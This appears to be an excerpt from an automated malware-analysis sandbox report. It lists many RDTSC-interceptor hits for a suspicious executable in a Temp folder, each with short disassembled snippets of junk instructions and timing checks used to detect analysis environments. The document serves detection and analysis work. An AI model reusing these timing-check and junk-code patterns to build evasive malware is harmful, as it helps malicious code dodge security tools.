Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C118C0 second address: C118D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C456Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C11A57 second address: C11A5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C11BA0 second address: C11BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C11BA4 second address: C11BB6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F028D150D2Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C11BB6 second address: C11BDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 jnp 00007F028C6C4566h 0x0000000d jmp 00007F028C6C4575h 0x00000012 popad 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C11D1F second address: C11D2B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jl 00007F028D150D26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C11D2B second address: C11D30 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C15BE1 second address: C15BE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C15BE5 second address: C15BEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C17B72 second address: C17BBE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F028D150D26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F028D150D32h 0x0000000f jmp 00007F028D150D39h 0x00000014 pushad 0x00000015 ja 00007F028D150D26h 0x0000001b push edi 0x0000001c pop edi 0x0000001d push edx 0x0000001e pop edx 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jnc 00007F028D150D2Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C17BBE second address: C17BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C17BC5 second address: C17BCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C17BCC second address: C17BEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F028C6C4579h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C17BEB second address: C17BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C17760 second address: C17784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jmp 00007F028C6C4579h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C29305 second address: C2931E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F028D150D2Bh 0x0000000d jg 00007F028D150D26h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C2931E second address: C29322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C52727 second address: C5272B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C529C0 second address: C529C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C529C6 second address: C529DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F028D150D26h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C529DF second address: C529E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C52B1E second address: C52B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C530E5 second address: C530FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C4575h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C530FE second address: C53144 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jmp 00007F028D150D38h 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F028D150D35h 0x00000016 jmp 00007F028D150D2Dh 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C5795F second address: C57964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C57964 second address: C5796A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C5796A second address: C5796E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C57BC4 second address: C57BC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C57BC8 second address: C57BD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F028C6C456Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C57BD9 second address: C57BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C57BDD second address: C57C5F instructions: 0x00000000 rdtsc 0x00000002 ja 00007F028C6C4574h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b add dword ptr [ebp+122D18A8h], eax 0x00000011 mov dh, 57h 0x00000013 push dword ptr [ebp+122D1CB9h] 0x00000019 mov dword ptr [ebp+122D1A3Fh], ecx 0x0000001f call 00007F028C6C4569h 0x00000024 jmp 00007F028C6C4578h 0x00000029 push eax 0x0000002a js 00007F028C6C4577h 0x00000030 mov eax, dword ptr [esp+04h] 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F028C6C4574h 0x0000003d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C57C5F second address: C57C78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C57C78 second address: C57C7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C57C7E second address: C57C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C58E78 second address: C58E93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C4577h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C58E93 second address: C58E9E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F028D150D26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C5A6C4 second address: C5A6C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: C5C719 second address: C5C737 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F028D150D39h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5210010 second address: 5210016 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5210016 second address: 521001A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 521001A second address: 5210034 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a mov dx, F1B6h 0x0000000e popad 0x0000000f mov dword ptr [esp], ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 pop edi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5210034 second address: 5210044 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F028D150D2Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5210044 second address: 5210048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52501E1 second address: 52501E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52501E5 second address: 52501E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52501E9 second address: 52501EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52501EF second address: 52501F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52501F5 second address: 52501F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51E00AF second address: 51E0114 instructions: 0x00000000 rdtsc 0x00000002 mov edi, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 mov ch, bl 0x00000009 pop ecx 0x0000000a popad 0x0000000b push ebx 0x0000000c pushad 0x0000000d mov esi, 613A9EA5h 0x00000012 popad 0x00000013 mov dword ptr [esp], ebp 0x00000016 jmp 00007F028C6C4577h 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e mov ecx, 20265A0Bh 0x00000023 pushfd 0x00000024 jmp 00007F028C6C4570h 0x00000029 jmp 00007F028C6C4575h 0x0000002e popfd 0x0000002f popad 0x00000030 push dword ptr [ebp+04h] 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51E0114 second address: 51E011B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bh, D5h 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51E011B second address: 51E012D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F028C6C456Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 51E012D second address: 51E0131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5200CFD second address: 5200D03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5200D03 second address: 5200D19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F028D150D2Bh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5200870 second address: 5200874 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5200874 second address: 520087A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 520087A second address: 5200880 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5200880 second address: 5200884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5200884 second address: 52008B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F028C6C456Dh 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F028C6C4578h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52008B8 second address: 52008C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52008C7 second address: 52008CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52008CD second address: 52008D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52008D1 second address: 52008E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52008E0 second address: 52008E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52008E4 second address: 52008EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52007A9 second address: 52007AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52007AF second address: 52007B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52007B5 second address: 52007B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52007B9 second address: 52007BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52007BD second address: 52007D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bl, B5h 0x00000010 push esi 0x00000011 pop ebx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5200551 second address: 5200555 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5200555 second address: 520055B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 520055B second address: 5200561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5200561 second address: 5200565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5200565 second address: 52005A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028C6C4578h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F028C6C4570h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F028C6C456Eh 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52005A5 second address: 52005BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F028D150D2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dh, 06h 0x0000000f push esi 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52005BD second address: 52005D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F028C6C4574h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52005D5 second address: 52005D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52005D9 second address: 5200620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F028C6C4577h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov bh, 99h 0x00000015 pushfd 0x00000016 jmp 00007F028C6C456Ch 0x0000001b sbb eax, 60D1C9A8h 0x00000021 jmp 00007F028C6C456Bh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5200620 second address: 5200626 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5200626 second address: 520062A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 521037A second address: 5210380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5210380 second address: 5210384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5210384 second address: 52103A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, A5D7h 0x00000011 jmp 00007F028D150D2Ch 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52103A2 second address: 52103A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52103A8 second address: 52103AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52103AC second address: 52103DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ebx, eax 0x0000000e pushfd 0x0000000f jmp 00007F028C6C456Eh 0x00000014 add cx, DAA8h 0x00000019 jmp 00007F028C6C456Bh 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 5250068 second address: 525007F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F028D150D2Ah 0x0000000f push ecx 0x00000010 pop edi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 525007F second address: 525008D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F028C6C456Ah 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 525008D second address: 52500F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F028D150D37h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 call 00007F028D150D34h 0x00000016 pushfd 0x00000017 jmp 00007F028D150D32h 0x0000001c and ah, FFFFFF98h 0x0000001f jmp 00007F028D150D2Bh 0x00000024 popfd 0x00000025 pop esi 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F028D150D2Fh 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe	RDTSC instruction interceptor: First address: 52500F8 second address: 525012F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F028C6C4578h 0x00000008 add eax, 01A10828h 0x0000000e jmp 00007F028C6C456Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 pop ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
